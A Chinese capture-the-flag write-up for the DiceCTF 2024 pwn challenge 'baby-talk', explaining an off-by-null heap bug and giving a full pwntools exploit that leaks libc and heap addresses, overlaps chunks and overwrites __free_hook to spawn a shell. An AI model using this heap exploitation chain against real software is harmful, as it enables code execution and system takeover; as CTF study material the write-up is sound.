DiceCTF 2024 -- pwn

baby-talk

题目给了 Dockerfile,但由于笔者 docker 环境存在问题启动不起来,所以这里用虚拟机环境做了(没错,由于不知道远程 glibc 版本,所以笔者远程也没打通)笔者本地环境为 glibc 2.31-0ubuntu9.9。然后比赛结束,作者在 github 上给出了 libc 其版本为 2.27(乐,比赛不给…)

漏洞:溢出写 null 字节
在增加堆块时,写入内容后没有添加 \x00
在这里插入图片描述
由于上述写入时没有添加 \x00,所以这里导致可以向后溢出写 null 字节
在这里插入图片描述
举个例子就懂了:可以看到这里我们可以修改下一个堆块的 size 的低字节为 \x00 从而去 overlapping
在这里插入图片描述
漏洞利用:

  • 泄漏 libc_baseheap_base:这个比较简单,因为每次写入内容时没有添加 \x00,所以我们可以利用堆块上残余的地址进行 libc_baseheap_base 的泄漏
  • chunk overlapping 劫持 free_hook

exp 如下:

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'io = process("./chall")
#io = remote("mc.ax", 32526)
elf = ELF("./chall", checksec=False)
libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.31.so", checksec=False)def debug():gdb.attach(io)pause()sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s    : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s    : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b'> 'def add(size, string):sla(menu, b'1')sla(b'size? ', byte(size))sda(b'str? ', string)def tok(idx, delim):sla(menu, b'2')sla(b'idx? ', byte(idx))sda(b'delim? ', delim)def dele(idx):sla(menu, b'3')sla(b'idx? ', byte(idx))add(0x410, b'A\n')
add(0x420, b'A\n')dele(0)
add(0x420, b'A\n')add(0x410, b'\n')
tok(2, b'\x00\n')
libc_base = addr8(6) - 0x1ecf0a
info("libc_base", libc_base)dele(2)
dele(0)
add(0x420, b'A\n')
add(0x410, b'A'*0x10)
tok(2, b'\x00\n')
rut(b'A'*0x10)
heap_base = addr8(6) - 0x290
info("heap_base", heap_base)dele(0)
dele(1)
dele(2)add(0x20, p64(0) + p64(0x61) + p64(heap_base+0x290+0x10)*2)
add(0x18, b'A\n')
add(0x18, b'A\n')
add(0x4f8, b'A\n')
add(0x18, b'A\n')dele(2)
add(0x18, b'A'*0x10 + b'\x60' + b'ABCDEFG')tok(2, b'\x01\n')
tok(2, b'G\n')
tok(2, b'F\n')
tok(2, b'E\n')
tok(2, b'D\n')
tok(2, b'C\n')
tok(2, b'B\n')
tok(2, b'A\n')
dele(3)
dele(4)
dele(2)
add(0x50, b'A'*0x40 + p64(libc_base+libc.sym.__free_hook) + p64(heap_base+0x10))
add(0x10, b'/bin/sh\x00')
add(0x10, p64(libc_base+libc.sym.system))
dele(3)#debug()
sh()

效果如下:
在这里插入图片描述
其它题目有点抽象就不看了…

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2803876.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

开发技术-Java 获取集合中元素下标并移动至指定位置

1. 说明 某些业务需要特定的元素在列表的最后或者指定位置展示。 2. 代码 import lombok.AllArgsConstructor; import lombok.Data;import java.util.*; import java.util.stream.Collectors; import java.util.stream.IntStream;Data AllArgsConstructor class Student {St…

第七篇【传奇开心果系列】python的文本和语音相互转换库技术点案例示例:Sphinx自动电话系统(IVR)经典案例

传奇开心果博文系列 系列博文目录python的文本和语音相互转换库技术点案例示例系列 博文目录前言一、雏形示例代码二、扩展思路介绍三、Sphinx多语言支持示例代码四、Sphinx和语音合成库集成示例代码五、Sphinx语音识别前自然语言预处理示例代码六、Sphinx语音识别自动电话系统…

CSP-J 2023 T3 一元二次方程

文章目录 题目题目背景题目描述输入格式输出格式样例 #1样例输入 #1样例输出 #1 提示 题目传送门题解思路总代码 提交结果尾声 题目 题目背景 众所周知,对一元二次方程 a x 2 b x c 0 , ( a ≠ 0 ) ax ^ 2 bx c 0, (a \neq 0) ax2bxc0,(a0),可…

C++种pair的初始化及与unordered_map的区别

pair的初始化及与unordered_map的区别 概述pair初始化开发环境头文件示例运行结果 与unordered_map的区别 概述 本文旨在介绍pair初始化,同时简述pair与unordered_map的区别。 pair初始化 pair是一个模板类,可以存储两个类型的数据为一个对象。 开发…

零基础备考PMP,需要多长时间?

PMP是一门专业性很强的项目管理知识,考试当然是有一定的难度,但是也没有难到让你怀疑人生的程度。 如果你在学习PMP之前,已经有一些经验,那么备考一个半月基本上是没多大问题的,如果你是零基础小白,那么备…

微信小程序开发 基本学习(了解和认识)

目录 一、小程序简介 二、注册小程序账号 安装微信发者工具 三、创建小程序项目 四、项目结构 1.了解项目的基本组成结构 2.小程序页面的组成结构 3.新建小程序页面 4.修改项目首页 5.WXML模板 5.1什么是WXML 5.2WXML和HTML的区别 6.WXSS样式 6.1什么是WXSS 6.2.W…

Flutter GLSL - 肆 | 从条纹到马赛克

theme: cyanosis Flutter & GLSL 系列文章: 《Flutter & GLSL - 壹 | Shader 让绘制无限强大》《Flutter & GLSL - 贰 | 从坐标到颜色》《Flutter & GLSL - 叁 | 变量传参》《Flutter & GLSL - 肆 | 从条纹到马赛克》 案例代码开源地址 【skele…

微服务篇之分布式系统理论

一、CAP定理 1.什么是CAP 1998年,加州大学的计算机科学家 Eric Brewer 提出,分布式系统有三个指标: 1. Consistency(一致性)。 2. Availability(可用性)。 3. Partition tolerance &#xff0…

高级语言期末2013级A卷

1.对长度为n的整型数组a进行冒泡排序 #include <stdio.h>void sort(int *a,int n) {for(int i0; i<n-1; i)for(int j0; j<n-i-1; j)if(a[j]>a[j1]) {int tempa[j];a[j]a[j1];a[j1]temp;} } 2.编写函数&#xff0c;实现按照如下公式计算的功能 #include <st…

挑战30天学完Python:Day18 正则表达式

&#x1f4d8; Day 18 &#x1f389; 本系列为Python基础学习&#xff0c;原稿来源于 30-Days-Of-Python 英文项目&#xff0c;大奇主要是对其本地化翻译、逐条验证和补充&#xff0c;想通过30天完成正儿八经的系统化实践。此系列适合零基础同学&#xff0c;或仅了解Python一点…

【ArcGIS】利用高程进行坡度分析

在ArcGIS中利用高程进行坡度分析 坡度ArcGIS实操参考 坡度 坡度是地表单元陡缓的程度&#xff0c;通常把坡面的垂直高度和水平距离的比值称为坡度。 坡度的表示方法有百分比法、度数法、密位法和分数法四种&#xff0c;其中以百分比法和度数法较为常用。 &#xff08;1&#…

Stable Diffusion 3 Early Preview发布

2月22日&#xff0c;Stability AI 发布了 Stable Diffusion 3 early preview&#xff0c;这是一种开放权重的下一代图像合成模型。据报道&#xff0c;它继承了其前身&#xff0c;生成了详细的多主题图像&#xff0c;并提高了文本生成的质量和准确性。这一简短的公告并未附带公开…

通过platform总线驱动框架编写LED灯的驱动,编写应用程序测试

mydev.c #include <linux/init.h> #include <linux/module.h> #include <linux/of_gpio.h> #include <linux/gpio.h> #include <linux/platform_device.h> #include <linux/mod_devicetable.h>// 创建功能码 #define LED_ON _IO(l, 1) #d…

Leetcode3035. 回文字符串的最大数量

Every day a Leetcode 题目来源&#xff1a;3035. 回文字符串的最大数量 解法1&#xff1a;哈希 排序 由于可以随意交换字母&#xff0c;先把所有字母都取出来&#xff0c;然后考虑如何填入各个字符串。 如果一个奇数长度字符串最终是回文串&#xff0c;那么它正中间的那…

(十八)devops持续集成开发——使用docker安装部署jenkins流水线服务

前言 本节内容介绍如何使用docker容器来部署安装jenkins流水线服务。关于docker容器的安装本节内容不做介绍。请读者提前安装。 正文 ①使用docker查找jenkins官方镜像 ② 拉取jenkins官方镜像jenkins/jenkins&#xff0c;选择一个最新稳定版本&#xff0c;避免一些插件不兼…

【某机构vip教程】Requests(6):Requests模块_超时设置

超时设置 Requests模块可以设置接收数据的超时时间&#xff0c;超出设定的时间还没有数据返回&#xff0c;就抛出异常。超时设 置有两种类型表达&#xff1a;float 、tuple timeout():以秒为单位 如果远端服务器很慢&#xff0c;你可以让 Request 永远等待&#xff0c;传入一…

ApexRBp在线粒子传感器在电动汽车电池制造的应用

电动汽车电池的崛起与颗粒污染的挑战 随着电动汽车&#xff08;EV&#xff09;市场的迅速扩张&#xff0c;对高性能锂离子电池的需求也急剧增加。这些电池不仅是EV的心脏&#xff0c;更是推动其前行的核心动力。然而&#xff0c;在电池制造的每一个环节&#xff0c;都需要对多…

【总第49篇】2.3深度学习开发任务实例(2)机器学习和深度学习的对比【大厂AI课学习笔记】

机器学习和深度学习都是用于图片分类任务的强大工具&#xff0c;但它们采用的方法和原理有所不同。下面我将分别解释这两种技术是如何应用于图片分类的&#xff0c;并着重讨论深度学习中的卷积概念。 机器学习在图片分类中的应用 传统的机器学习方法在进行图片分类时&#xf…

8杯水要怎么喝才能防止或减轻肥胖状态?

为什么说&#xff0c;人每天要喝足8杯水呢&#xff1f;原因很多&#xff0c;皮肤干了要多喝水&#xff0c;因为皮肤缺水&#xff0c;需要滋养&#xff1b;身体底子差要多喝水&#xff0c;实际身体底子差不光要多喝水&#xff0c;还要注意饮食营养和运动锻炼&#xff1b;身体健康…

可视化低代码表单设计器

JNPF 表单设计器是一款在线可视化表单建模工具&#xff0c;基于VueSpringboot技术开发&#xff0c;具有组件丰富、操作简单、所见即所得等特性&#xff0c;既能够设计普通的数据录入表单&#xff0c;也能够配合流程设计出各类审批流转表单。 应用地址&#xff1a;https://www.j…